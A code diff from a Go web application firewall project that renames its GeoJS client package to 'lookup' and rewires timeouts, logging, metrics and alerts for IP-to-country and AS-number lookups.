# Every rule below is skipped unless Inspect has set tx.app_wordpress. It sets
|
||||||
# it while SWW_WAF_APPS is unset, or lists wordpress for the request's hostname.
|
# it while SWW_WAF_APPS is unset, or lists wordpress for the request's hostname.
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
package geojs
|
package lookup
|
||||||
|
|
||||||
import "net/http"
|
import "net/http"
|
||||||
|
|
||||||
@@ -1,6 +1,3 @@
|
|||||||
// Package lookup looks up each client's AS number and country in the lookup
|
|
||||||
// database, the IPinfo Lite file SWW_WAF_LOOKUP_DB_PATH names. Its answers
|
|
||||||
// take the form of GeoJS's, so that waf handles both alike.
|
|
||||||
package lookup
|
package lookup
|
||||||
|
|
||||||
import (
|
import (
|
||||||
@@ -17,7 +14,6 @@ import (
|
|||||||
"github.com/oschwald/maxminddb-golang/v2"
|
"github.com/oschwald/maxminddb-golang/v2"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/geojs"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// quietTime is how long the lookup database must go without a change
|
// quietTime is how long the lookup database must go without a change
|
||||||
@@ -81,7 +77,7 @@ func OpenFile(params FileParams) (*File, error) {
|
|||||||
// each "" when the database does not give it, as for an address missing
|
// each "" when the database does not give it, as for an address missing
|
||||||
// from it. The database is asked about the client's first address, as
|
// from it. The database is asked about the client's first address, as
|
||||||
// GeoJS is.
|
// GeoJS is.
|
||||||
func (f *File) LookUp(client netip.Prefix) geojs.Answer {
|
func (f *File) LookUp(client netip.Prefix) Answer {
|
||||||
f.mu.Lock()
|
f.mu.Lock()
|
||||||
reader := f.reader
|
reader := f.reader
|
||||||
f.mu.Unlock()
|
f.mu.Unlock()
|
||||||
@@ -95,7 +91,7 @@ func (f *File) LookUp(client netip.Prefix) geojs.Answer {
|
|||||||
found = record{}
|
found = record{}
|
||||||
}
|
}
|
||||||
|
|
||||||
return geojs.Answer{
|
return Answer{
|
||||||
Client: client,
|
Client: client,
|
||||||
ASN: found.ASN,
|
ASN: found.ASN,
|
||||||
ASName: found.ASName,
|
ASName: found.ASName,
|
||||||
|
|||||||
@@ -16,7 +16,6 @@ import (
|
|||||||
"github.com/maxmind/mmdbwriter/mmdbtype"
|
"github.com/maxmind/mmdbwriter/mmdbtype"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/geojs"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
|
"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -69,7 +68,7 @@ func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(
|
|||||||
prefix := netip.MustParsePrefix(client)
|
prefix := netip.MustParsePrefix(client)
|
||||||
|
|
||||||
got := f.LookUp(prefix)
|
got := f.LookUp(prefix)
|
||||||
if got != (geojs.Answer{
|
if got != (Answer{
|
||||||
Client: prefix, ASN: want.ASN, ASName: want.ASName, Country: want.Country,
|
Client: prefix, ASN: want.ASN, ASName: want.ASName, Country: want.Country,
|
||||||
Answered: now,
|
Answered: now,
|
||||||
}) {
|
}) {
|
||||||
|
|||||||
@@ -1,9 +1,9 @@
|
|||||||
// Package geojs looks up clients' AS numbers and countries through the GeoJS
|
// Package lookup looks up each client's AS number and country, through
|
||||||
// web service. Its answers are kept in memory, for at most 100,000 clients and
|
// the GeoJS web service or in the lookup database, the IPinfo Lite file
|
||||||
// for 7 days each. A caller waits for an answer as long as it says. A request to
|
// SWW_WAF_LOOKUP_DB_PATH names. GeoJS's answers are kept in memory, for at
|
||||||
// GeoJS goes on after its callers stop waiting, and its answer is kept. The
|
// most 100,000 clients and for 7 days each, and are written to
|
||||||
// package imports no other package of this repository.
|
// lookups.json and read from it by the state package.
|
||||||
package geojs
|
package lookup
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
@@ -11,6 +11,7 @@ import (
|
|||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
|
"log/slog"
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/netip"
|
"net/netip"
|
||||||
"slices"
|
"slices"
|
||||||
@@ -20,6 +21,8 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/hashicorp/golang-lru/v2/simplelru"
|
"github.com/hashicorp/golang-lru/v2/simplelru"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/metrics"
|
||||||
)
|
)
|
||||||
|
|
||||||
// URL is GeoJS's endpoint for an address's place and network. Asked about
|
// URL is GeoJS's endpoint for an address's place and network. Asked about
|
||||||
@@ -40,9 +43,6 @@ const (
|
|||||||
maxWaiting = 10000
|
maxWaiting = 10000
|
||||||
// maxPerRequest is how many addresses one request to GeoJS asks about.
|
// maxPerRequest is how many addresses one request to GeoJS asks about.
|
||||||
maxPerRequest = 200
|
maxPerRequest = 200
|
||||||
// requestTimeout is how long a request to GeoJS may take before it is
|
|
||||||
// abandoned, which is a failure. It is apart from how long callers wait.
|
|
||||||
requestTimeout = 10 * time.Second
|
|
||||||
// unknownASN is the AS number GeoJS gives when it knows none.
|
// unknownASN is the AS number GeoJS gives when it knows none.
|
||||||
unknownASN = 64512
|
unknownASN = 64512
|
||||||
// After a failure GeoJS is not asked again for a second, and for
|
// After a failure GeoJS is not asked again for a second, and for
|
||||||
@@ -64,20 +64,25 @@ var (
|
|||||||
type Params struct {
|
type Params struct {
|
||||||
// URL is where GeoJS is asked, normally URL.
|
// URL is where GeoJS is asked, normally URL.
|
||||||
URL string
|
URL string
|
||||||
|
// Timeout is how long a request waits for its client's first answer,
|
||||||
|
// and how long a request to GeoJS may take before it is abandoned
|
||||||
|
// (SWW_WAF_LOOKUP_TIMEOUT).
|
||||||
|
Timeout time.Duration
|
||||||
|
// Wait is true when a setting needs each request's answer before the
|
||||||
|
// request goes on. Otherwise no request waits for one.
|
||||||
|
Wait bool
|
||||||
// Answered, unless nil, is given each answer GeoJS gives, once it is
|
// Answered, unless nil, is given each answer GeoJS gives, once it is
|
||||||
// kept.
|
// kept.
|
||||||
Answered func(Answer)
|
Answered func(Answer)
|
||||||
// Now tells the time, normally time.Now in UTC.
|
// Now tells the time, normally time.Now in UTC.
|
||||||
Now func() time.Time
|
Now func() time.Time
|
||||||
// Asked is called for each request to GeoJS.
|
// ProcessLog receives GeoJS's failures.
|
||||||
Asked func()
|
ProcessLog *slog.Logger
|
||||||
// Failed is called for each failure of GeoJS, with what went wrong and
|
// Metrics count the requests to GeoJS, those that failed, and the
|
||||||
// how long GeoJS is left alone after it. The error never names the
|
// clients that go without an answer.
|
||||||
// addresses asked about.
|
Metrics *metrics.Metrics
|
||||||
Failed func(err error, askingAgainIn time.Duration)
|
// Alerts receive a source_failure alert each time GeoJS fails.
|
||||||
// WentWithoutAnswer is called each time a caller that waits for an
|
Alerts *alerts.Queue
|
||||||
// answer goes on without one.
|
|
||||||
WentWithoutAnswer func()
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// GeoJS looks up clients' AS numbers and countries through GeoJS. At most
|
// GeoJS looks up clients' AS numbers and countries through GeoJS. At most
|
||||||
@@ -85,11 +90,13 @@ type Params struct {
|
|||||||
// client waiting, up to maxPerRequest. It is safe for concurrent use.
|
// client waiting, up to maxPerRequest. It is safe for concurrent use.
|
||||||
type GeoJS struct {
|
type GeoJS struct {
|
||||||
url string
|
url string
|
||||||
|
timeout time.Duration
|
||||||
|
wait bool
|
||||||
answered func(Answer)
|
answered func(Answer)
|
||||||
now func() time.Time
|
now func() time.Time
|
||||||
asked func()
|
processLog *slog.Logger
|
||||||
failed func(err error, askingAgainIn time.Duration)
|
metrics *metrics.Metrics
|
||||||
wentWithoutAnswer func()
|
alerts *alerts.Queue
|
||||||
// httpClient follows no redirect, so that visitors' addresses go to
|
// httpClient follows no redirect, so that visitors' addresses go to
|
||||||
// GeoJS alone: a redirect is a failure.
|
// GeoJS alone: a redirect is a failure.
|
||||||
httpClient *http.Client
|
httpClient *http.Client
|
||||||
@@ -99,23 +106,20 @@ type GeoJS struct {
|
|||||||
// waiting are the clients without an answer: those to ask GeoJS about,
|
// waiting are the clients without an answer: those to ask GeoJS about,
|
||||||
// and those it is being asked about.
|
// and those it is being asked about.
|
||||||
waiting map[netip.Prefix]*wait
|
waiting map[netip.Prefix]*wait
|
||||||
// asking is true while a request to GeoJS is under way, and endAsking
|
// asking is true while a request to GeoJS is under way.
|
||||||
// ends it. stopped is true once StopAsking has been called, and
|
|
||||||
// askGoroutines waits for the goroutine that makes the requests.
|
|
||||||
asking bool
|
asking bool
|
||||||
endAsking context.CancelFunc
|
|
||||||
stopped bool
|
|
||||||
askGoroutines sync.WaitGroup
|
|
||||||
// retryDelay is how long GeoJS is left alone after its last failure,
|
// retryDelay is how long GeoJS is left alone after its last failure,
|
||||||
// zero after an answer; retryAt is when it may be asked again.
|
// zero after an answer; retryAt is when it may be asked again.
|
||||||
retryDelay time.Duration
|
retryDelay time.Duration
|
||||||
retryAt time.Time
|
retryAt time.Time
|
||||||
}
|
}
|
||||||
|
|
||||||
// Answer is what GeoJS said about a client: its AS number, such as AS64496,
|
// Answer is what GeoJS or the lookup database said about a client: its AS
|
||||||
// and the AS's name, both "" when GeoJS knows no AS number for it; its
|
// number, such as AS64496, and the AS's name, both "" when the source knows
|
||||||
// country, "" when GeoJS cannot place it; when GeoJS said so; and when the
|
// no AS number for it; its country, "" when the source cannot place it;
|
||||||
// answer was last used. The zero Answer is that of a client with no answer.
|
// when the source said so; and, for GeoJS's answers, which lookups.json
|
||||||
|
// holds, when the answer was last used. The zero Answer is that of a
|
||||||
|
// client with no answer.
|
||||||
//
|
//
|
||||||
//nolint:tagliatelle // the state files use snake_case, as the request log does
|
//nolint:tagliatelle // the state files use snake_case, as the request log does
|
||||||
type Answer struct {
|
type Answer struct {
|
||||||
@@ -133,7 +137,7 @@ type wait struct {
|
|||||||
// replaced each time GeoJS fails before then.
|
// replaced each time GeoJS fails before then.
|
||||||
asked chan struct{}
|
asked chan struct{}
|
||||||
// late is true once the client has gone without an answer, for a
|
// late is true once the client has gone without an answer, for a
|
||||||
// whole wait or because GeoJS failed: its callers no longer wait.
|
// whole timeout or because GeoJS failed: its requests no longer wait.
|
||||||
late bool
|
late bool
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -146,11 +150,13 @@ func New(params Params) *GeoJS {
|
|||||||
|
|
||||||
return &GeoJS{
|
return &GeoJS{
|
||||||
url: params.URL,
|
url: params.URL,
|
||||||
|
timeout: params.Timeout,
|
||||||
|
wait: params.Wait,
|
||||||
answered: params.Answered,
|
answered: params.Answered,
|
||||||
now: params.Now,
|
now: params.Now,
|
||||||
asked: params.Asked,
|
processLog: params.ProcessLog,
|
||||||
failed: params.Failed,
|
metrics: params.Metrics,
|
||||||
wentWithoutAnswer: params.WentWithoutAnswer,
|
alerts: params.Alerts,
|
||||||
httpClient: &http.Client{
|
httpClient: &http.Client{
|
||||||
CheckRedirect: func(*http.Request, []*http.Request) error {
|
CheckRedirect: func(*http.Request, []*http.Request) error {
|
||||||
return http.ErrUseLastResponse
|
return http.ErrUseLastResponse
|
||||||
@@ -164,22 +170,21 @@ func New(params Params) *GeoJS {
|
|||||||
// LookUp returns the answer GeoJS gave about client, with its country as
|
// LookUp returns the answer GeoJS gave about client, with its country as
|
||||||
// a two-letter code in capitals, or the zero Answer when there is none
|
// a two-letter code in capitals, or the zero Answer when there is none
|
||||||
// yet. An answer is kept for 7 days. Without one, the client is asked
|
// yet. An answer is kept for 7 days. Without one, the client is asked
|
||||||
// about in the background, and LookUp waits up to wait for the answer,
|
// about in the background, and, while Wait is set, the request waits up
|
||||||
// unless the client has gone without one before. The wait ends early when
|
// to Timeout for the answer, unless the client has gone without one
|
||||||
// ctx ends. Neither ends the request to GeoJS.
|
// before. ctx is the context of the client's request, and ends the wait
|
||||||
|
// when it ends.
|
||||||
//
|
//
|
||||||
// GeoJS is asked about the client's first address, which is the client's
|
// GeoJS is asked about the client's first address, which is the client's
|
||||||
// own address for IPv4, and an address in the same place for an IPv6
|
// own address for IPv4, and an address in the same place for an IPv6
|
||||||
// netblock.
|
// netblock.
|
||||||
func (g *GeoJS) LookUp(
|
func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer {
|
||||||
ctx context.Context, client netip.Prefix, wait time.Duration,
|
answer, asked := g.answerOrWait(ctx, client, g.wait)
|
||||||
) Answer {
|
|
||||||
answer, asked := g.answerOrWait(ctx, client, true)
|
|
||||||
if asked == nil {
|
if asked == nil {
|
||||||
return answer
|
return answer
|
||||||
}
|
}
|
||||||
|
|
||||||
timer := time.NewTimer(wait)
|
timer := time.NewTimer(g.timeout)
|
||||||
defer timer.Stop()
|
defer timer.Stop()
|
||||||
|
|
||||||
select {
|
select {
|
||||||
@@ -193,7 +198,7 @@ func (g *GeoJS) LookUp(
|
|||||||
|
|
||||||
answer, found := g.kept(client)
|
answer, found := g.kept(client)
|
||||||
if !found {
|
if !found {
|
||||||
g.wentWithoutAnswer()
|
g.metrics.RequestsWithoutGeoJSAnswer.Inc()
|
||||||
}
|
}
|
||||||
|
|
||||||
w, waiting := g.waiting[client]
|
w, waiting := g.waiting[client]
|
||||||
@@ -204,8 +209,8 @@ func (g *GeoJS) LookUp(
|
|||||||
return answer
|
return answer
|
||||||
}
|
}
|
||||||
|
|
||||||
// LookUpWithoutWaiting is LookUp for a caller that does not need the answer:
|
// LookUpWithoutWaiting is LookUp for a request that does not need the answer,
|
||||||
// it returns the zero Answer at once when none is kept.
|
// whatever Wait says: it returns the zero Answer at once when none is kept.
|
||||||
func (g *GeoJS) LookUpWithoutWaiting(
|
func (g *GeoJS) LookUpWithoutWaiting(
|
||||||
ctx context.Context,
|
ctx context.Context,
|
||||||
client netip.Prefix,
|
client netip.Prefix,
|
||||||
@@ -215,23 +220,6 @@ func (g *GeoJS) LookUpWithoutWaiting(
|
|||||||
return answer
|
return answer
|
||||||
}
|
}
|
||||||
|
|
||||||
// StopAsking ends the request to GeoJS under way, and returns once the
|
|
||||||
// goroutine that made it has. A request it ends is no failure: Failed is not
|
|
||||||
// called, and GeoJS is not left alone after it. After StopAsking, GeoJS is
|
|
||||||
// asked nothing.
|
|
||||||
func (g *GeoJS) StopAsking() {
|
|
||||||
g.mu.Lock()
|
|
||||||
|
|
||||||
g.stopped = true
|
|
||||||
if g.asking {
|
|
||||||
g.endAsking()
|
|
||||||
}
|
|
||||||
|
|
||||||
g.mu.Unlock()
|
|
||||||
|
|
||||||
g.askGoroutines.Wait()
|
|
||||||
}
|
|
||||||
|
|
||||||
// Kept returns client's answer, if one is kept, without asking GeoJS.
|
// Kept returns client's answer, if one is kept, without asking GeoJS.
|
||||||
func (g *GeoJS) Kept(client netip.Prefix) (Answer, bool) {
|
func (g *GeoJS) Kept(client netip.Prefix) (Answer, bool) {
|
||||||
g.mu.Lock()
|
g.mu.Lock()
|
||||||
@@ -240,7 +228,8 @@ func (g *GeoJS) Kept(client netip.Prefix) (Answer, bool) {
|
|||||||
return g.kept(client)
|
return g.kept(client)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Snapshot returns every answer kept, sorted by client.
|
// Snapshot returns every answer kept, sorted by client, as lookups.json
|
||||||
|
// lists them.
|
||||||
func (g *GeoJS) Snapshot() []Answer {
|
func (g *GeoJS) Snapshot() []Answer {
|
||||||
g.mu.Lock()
|
g.mu.Lock()
|
||||||
|
|
||||||
@@ -258,9 +247,9 @@ func (g *GeoJS) Snapshot() []Answer {
|
|||||||
return answers
|
return answers
|
||||||
}
|
}
|
||||||
|
|
||||||
// Load keeps answers, such as those of an earlier Snapshot, in place of the
|
// Load keeps answers read from lookups.json, in place of the answers it
|
||||||
// answers it keeps, in the order they were last used, so that the one used
|
// keeps, in the order they were last used, so that the one used longest
|
||||||
// longest ago is dropped first. Answers GeoJS gave keepFor ago or more are
|
// ago is dropped first. Answers GeoJS gave keepFor ago or more are
|
||||||
// dropped.
|
// dropped.
|
||||||
func (g *GeoJS) Load(answers []Answer) {
|
func (g *GeoJS) Load(answers []Answer) {
|
||||||
answers = slices.Clone(answers)
|
answers = slices.Clone(answers)
|
||||||
@@ -306,23 +295,22 @@ func (g *GeoJS) answerOrWait(
|
|||||||
g.ask(ctx)
|
g.ask(ctx)
|
||||||
|
|
||||||
if !mustWait {
|
if !mustWait {
|
||||||
return Answer{}, nil // the answer is not needed before the caller goes on
|
return Answer{}, nil // the answer is not needed before the request goes on
|
||||||
}
|
}
|
||||||
|
|
||||||
if w == nil {
|
if w == nil {
|
||||||
g.wentWithoutAnswer()
|
g.metrics.RequestsWithoutGeoJSAnswer.Inc()
|
||||||
|
|
||||||
return Answer{}, nil // too many clients wait already
|
return Answer{}, nil // too many clients wait already
|
||||||
}
|
}
|
||||||
|
|
||||||
if !g.asking {
|
if !g.asking {
|
||||||
// GeoJS is left alone after a failure, or asked nothing after
|
// GeoJS is left alone after a failure, so no answer can come.
|
||||||
// StopAsking, so no answer can come.
|
|
||||||
w.late = true
|
w.late = true
|
||||||
}
|
}
|
||||||
|
|
||||||
if w.late {
|
if w.late {
|
||||||
g.wentWithoutAnswer()
|
g.metrics.RequestsWithoutGeoJSAnswer.Inc()
|
||||||
|
|
||||||
return Answer{}, nil
|
return Answer{}, nil
|
||||||
}
|
}
|
||||||
@@ -346,28 +334,22 @@ func (g *GeoJS) kept(client netip.Prefix) (Answer, bool) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// ask starts asking GeoJS about the waiting clients, unless a request to
|
// ask starts asking GeoJS about the waiting clients, unless a request to
|
||||||
// it is under way, it is left alone after a failure, or StopAsking has
|
// it is under way or it is left alone after a failure. The requests to
|
||||||
// been called. The requests to GeoJS are for every client waiting, so they
|
// GeoJS are for every client waiting, so they go on when the client's
|
||||||
// go on when the caller whose ctx is given stops waiting, until StopAsking.
|
// request whose ctx is given ends.
|
||||||
func (g *GeoJS) ask(ctx context.Context) {
|
func (g *GeoJS) ask(ctx context.Context) {
|
||||||
if g.asking || g.stopped || g.now().Before(g.retryAt) {
|
if g.asking || g.now().Before(g.retryAt) {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
askCtx, end := context.WithCancel(context.WithoutCancel(ctx))
|
g.asking = true
|
||||||
g.asking, g.endAsking = true, end
|
|
||||||
|
|
||||||
g.askGoroutines.Go(func() {
|
go g.askAboutWaiting(context.WithoutCancel(ctx))
|
||||||
defer end()
|
|
||||||
|
|
||||||
g.askAboutWaiting(askCtx)
|
|
||||||
})
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// askAboutWaiting asks GeoJS about the waiting clients, one request at a
|
// askAboutWaiting asks GeoJS about the waiting clients, one request at a
|
||||||
// time, until none is left, GeoJS fails, or StopAsking ends ctx. Each
|
// time, until none is left or GeoJS fails. Each answer kept is given to
|
||||||
// answer kept is given to Answered, outside the lock, since Answered takes
|
// Answered, outside the lock, since Answered takes locks of its own.
|
||||||
// locks of its own.
|
|
||||||
func (g *GeoJS) askAboutWaiting(ctx context.Context) {
|
func (g *GeoJS) askAboutWaiting(ctx context.Context) {
|
||||||
for {
|
for {
|
||||||
clients := g.nextClients()
|
clients := g.nextClients()
|
||||||
@@ -376,10 +358,6 @@ func (g *GeoJS) askAboutWaiting(ctx context.Context) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
given, err := g.request(ctx, clients)
|
given, err := g.request(ctx, clients)
|
||||||
if err != nil && ctx.Err() != nil {
|
|
||||||
continue // ended by StopAsking, which is no failure
|
|
||||||
}
|
|
||||||
|
|
||||||
kept, answered := g.keep(clients, given, err)
|
kept, answered := g.keep(clients, given, err)
|
||||||
|
|
||||||
if g.answered != nil {
|
if g.answered != nil {
|
||||||
@@ -395,13 +373,13 @@ func (g *GeoJS) askAboutWaiting(ctx context.Context) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// nextClients returns up to maxPerRequest of the waiting clients. When
|
// nextClients returns up to maxPerRequest of the waiting clients. When
|
||||||
// none is waiting, or StopAsking has been called, it returns none and
|
// none is waiting, it returns none and notes that no request to GeoJS is
|
||||||
// notes that no request to GeoJS is under way.
|
// under way.
|
||||||
func (g *GeoJS) nextClients() []netip.Prefix {
|
func (g *GeoJS) nextClients() []netip.Prefix {
|
||||||
g.mu.Lock()
|
g.mu.Lock()
|
||||||
defer g.mu.Unlock()
|
defer g.mu.Unlock()
|
||||||
|
|
||||||
if len(g.waiting) == 0 || g.stopped {
|
if len(g.waiting) == 0 {
|
||||||
g.asking = false
|
g.asking = false
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
@@ -463,6 +441,8 @@ func (g *GeoJS) keep(
|
|||||||
}
|
}
|
||||||
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
g.metrics.GeoJSFailures.Inc()
|
||||||
|
|
||||||
g.retryDelay = min(
|
g.retryDelay = min(
|
||||||
max(retryDelayFactor*g.retryDelay, firstRetryDelay),
|
max(retryDelayFactor*g.retryDelay, firstRetryDelay),
|
||||||
maxRetryDelay,
|
maxRetryDelay,
|
||||||
@@ -477,7 +457,16 @@ func (g *GeoJS) keep(
|
|||||||
w.late = true
|
w.late = true
|
||||||
}
|
}
|
||||||
|
|
||||||
g.failed(err, g.retryDelay)
|
g.processLog.Warn("asking GeoJS failed",
|
||||||
|
"error", err.Error(), "asking_again_in", g.retryDelay.String())
|
||||||
|
g.alerts.Raise(alerts.Alert{
|
||||||
|
Event: alerts.EventSourceFailure,
|
||||||
|
Reason: "asking GeoJS failed",
|
||||||
|
Detail: map[string]any{
|
||||||
|
"source": "geojs", "error": err.Error(),
|
||||||
|
"asking_again_in": g.retryDelay.String(),
|
||||||
|
},
|
||||||
|
})
|
||||||
|
|
||||||
return kept, false
|
return kept, false
|
||||||
}
|
}
|
||||||
@@ -490,8 +479,7 @@ func (g *GeoJS) keep(
|
|||||||
// request asks GeoJS about clients in one request, and returns the answer
|
// request asks GeoJS about clients in one request, and returns the answer
|
||||||
// for each address GeoJS's answer names: its AS number and the AS's name,
|
// for each address GeoJS's answer names: its AS number and the AS's name,
|
||||||
// both "" for the AS number 64512, which GeoJS gives when it knows none,
|
// both "" for the AS number 64512, which GeoJS gives when it knows none,
|
||||||
// and its country, in capitals. The request is abandoned after
|
// and its country, in capitals.
|
||||||
// requestTimeout.
|
|
||||||
func (g *GeoJS) request(
|
func (g *GeoJS) request(
|
||||||
ctx context.Context, clients []netip.Prefix,
|
ctx context.Context, clients []netip.Prefix,
|
||||||
) (map[netip.Addr]Answer, error) {
|
) (map[netip.Addr]Answer, error) {
|
||||||
@@ -501,7 +489,7 @@ func (g *GeoJS) request(
|
|||||||
addrs = append(addrs, client.Addr().String())
|
addrs = append(addrs, client.Addr().String())
|
||||||
}
|
}
|
||||||
|
|
||||||
ctx, cancel := context.WithTimeout(ctx, requestTimeout)
|
ctx, cancel := context.WithTimeout(ctx, g.timeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
req, err := http.NewRequestWithContext(
|
req, err := http.NewRequestWithContext(
|
||||||
@@ -516,7 +504,7 @@ func (g *GeoJS) request(
|
|||||||
|
|
||||||
req.URL.RawQuery = "ip=" + strings.Join(addrs, ",")
|
req.URL.RawQuery = "ip=" + strings.Join(addrs, ",")
|
||||||
|
|
||||||
g.asked()
|
g.metrics.GeoJSRequests.Inc()
|
||||||
|
|
||||||
res, err := g.httpClient.Do(req)
|
res, err := g.httpClient.Do(req)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
File diff suppressed because it is too large.
Load diff
@@ -1,4 +1,4 @@
|
|||||||
package geojs_test
|
package lookup_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"net/netip"
|
"net/netip"
|
||||||
@@ -7,7 +7,7 @@ import (
|
|||||||
"testing/synctest"
|
"testing/synctest"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/geojs"
|
"sneak.berlin/go/smallwebwaf/internal/lookup"
|
||||||
)
|
)
|
||||||
|
|
||||||
func TestSnapshotHoldsEachAnswerAndWhenItWasLastUsed(t *testing.T) {
|
func TestSnapshotHoldsEachAnswerAndWhenItWasLastUsed(t *testing.T) {
|
||||||
@@ -25,7 +25,7 @@ func TestSnapshotHoldsEachAnswerAndWhenItWasLastUsed(t *testing.T) {
|
|||||||
clock.advance(time.Hour)
|
clock.advance(time.Hour)
|
||||||
wantCountry(t, g, placed, germany)
|
wantCountry(t, g, placed, germany)
|
||||||
|
|
||||||
want := []geojs.Answer{
|
want := []lookup.Answer{
|
||||||
{Client: notPlaced, Answered: asked, Used: asked},
|
{Client: notPlaced, Answered: asked, Used: asked},
|
||||||
{
|
{
|
||||||
Client: placed, ASN: asn, ASName: asName, Country: germany,
|
Client: placed, ASN: asn, ASName: asName, Country: germany,
|
||||||
@@ -41,24 +41,24 @@ func TestSnapshotHoldsEachAnswerAndWhenItWasLastUsed(t *testing.T) {
|
|||||||
func TestLoadedAnswersAreKeptFor7DaysFromWhenGeoJSGaveThem(t *testing.T) {
|
func TestLoadedAnswersAreKeptFor7DaysFromWhenGeoJSGaveThem(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
service, clock, g := start()
|
geojs, clock, g := start()
|
||||||
now := clock.Now()
|
now := clock.Now()
|
||||||
kept := geojs.Answer{
|
kept := lookup.Answer{
|
||||||
Client: netip.MustParsePrefix("203.0.113.9/32"),
|
Client: netip.MustParsePrefix("203.0.113.9/32"),
|
||||||
Country: "FR",
|
Country: "FR",
|
||||||
Answered: now.Add(-week + time.Second),
|
Answered: now.Add(-week + time.Second),
|
||||||
Used: now.Add(-time.Hour),
|
Used: now.Add(-time.Hour),
|
||||||
}
|
}
|
||||||
stale := geojs.Answer{
|
stale := lookup.Answer{
|
||||||
Client: netip.MustParsePrefix("203.0.113.10/32"),
|
Client: netip.MustParsePrefix("203.0.113.10/32"),
|
||||||
Country: "FR",
|
Country: "FR",
|
||||||
Answered: now.Add(-week),
|
Answered: now.Add(-week),
|
||||||
Used: now.Add(-time.Hour),
|
Used: now.Add(-time.Hour),
|
||||||
}
|
}
|
||||||
|
|
||||||
g.Load([]geojs.Answer{kept, stale})
|
g.Load([]lookup.Answer{kept, stale})
|
||||||
|
|
||||||
if got := g.Snapshot(); !slices.Equal(got, []geojs.Answer{kept}) {
|
if got := g.Snapshot(); !slices.Equal(got, []lookup.Answer{kept}) {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
"kept %+v, want only the answer GeoJS gave less than 7 days ago",
|
"kept %+v, want only the answer GeoJS gave less than 7 days ago",
|
||||||
got,
|
got,
|
||||||
@@ -66,7 +66,7 @@ func TestLoadedAnswersAreKeptFor7DaysFromWhenGeoJSGaveThem(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
wantCountry(t, g, kept.Client, "FR")
|
wantCountry(t, g, kept.Client, "FR")
|
||||||
wantRequests(t, service, 0)
|
wantRequests(t, geojs, 0)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestLoadDropsTheAnswerUsedLongestAgoFirst(t *testing.T) {
|
func TestLoadDropsTheAnswerUsedLongestAgoFirst(t *testing.T) {
|
||||||
@@ -80,11 +80,11 @@ func TestLoadDropsTheAnswerUsedLongestAgoFirst(t *testing.T) {
|
|||||||
// lookups.json lists the answers by client. Here each was last used a
|
// lookups.json lists the answers by client. Here each was last used a
|
||||||
// second before the one listed before it, so the last listed is the
|
// second before the one listed before it, so the last listed is the
|
||||||
// one used longest ago, and the one dropped.
|
// one used longest ago, and the one dropped.
|
||||||
answers := make([]geojs.Answer, maxAnswers+1)
|
answers := make([]lookup.Answer, maxAnswers+1)
|
||||||
addr := netip.MustParseAddr("10.0.0.0")
|
addr := netip.MustParseAddr("10.0.0.0")
|
||||||
|
|
||||||
for i := range answers {
|
for i := range answers {
|
||||||
answers[i] = geojs.Answer{
|
answers[i] = lookup.Answer{
|
||||||
Client: netip.PrefixFrom(addr, addr.BitLen()),
|
Client: netip.PrefixFrom(addr, addr.BitLen()),
|
||||||
Country: germany,
|
Country: germany,
|
||||||
Answered: now,
|
Answered: now,
|
||||||
+17
-19
@@ -13,15 +13,14 @@ const other = "other"
|
|||||||
|
|
||||||
// busiest are the metrics by one thing the lookup finds of the client,
|
// busiest are the metrics by one thing the lookup finds of the client,
|
||||||
// its country or its AS number, for requests whose client's is known.
|
// its country or its AS number, for requests whose client's is known.
|
||||||
// The busiestCount busiest countries or AS numbers, by their requests
|
// The topN busiest countries or AS numbers, by their requests since the
|
||||||
// since the start, have series of their own, and the others are counted
|
// start, have series of their own, and the others are counted under
|
||||||
// under other, so that there are never more than busiestCount + 1 series.
|
// other, so that there are never more than topN + 1 series. One that
|
||||||
// One that drops out of the busiest loses its series, and its next
|
// drops out of the busiest loses its series, and its next requests are
|
||||||
// requests are counted under other; one that becomes one of them gets a
|
// counted under other; one that becomes one of them gets a series that
|
||||||
// series that counts from then on. Each series therefore only ever goes
|
// counts from then on. Each series therefore only ever goes up.
|
||||||
// up.
|
|
||||||
type busiest struct {
|
type busiest struct {
|
||||||
busiestCount int
|
topN int
|
||||||
|
|
||||||
requests *prometheus.CounterVec
|
requests *prometheus.CounterVec
|
||||||
requestBytes *prometheus.CounterVec
|
requestBytes *prometheus.CounterVec
|
||||||
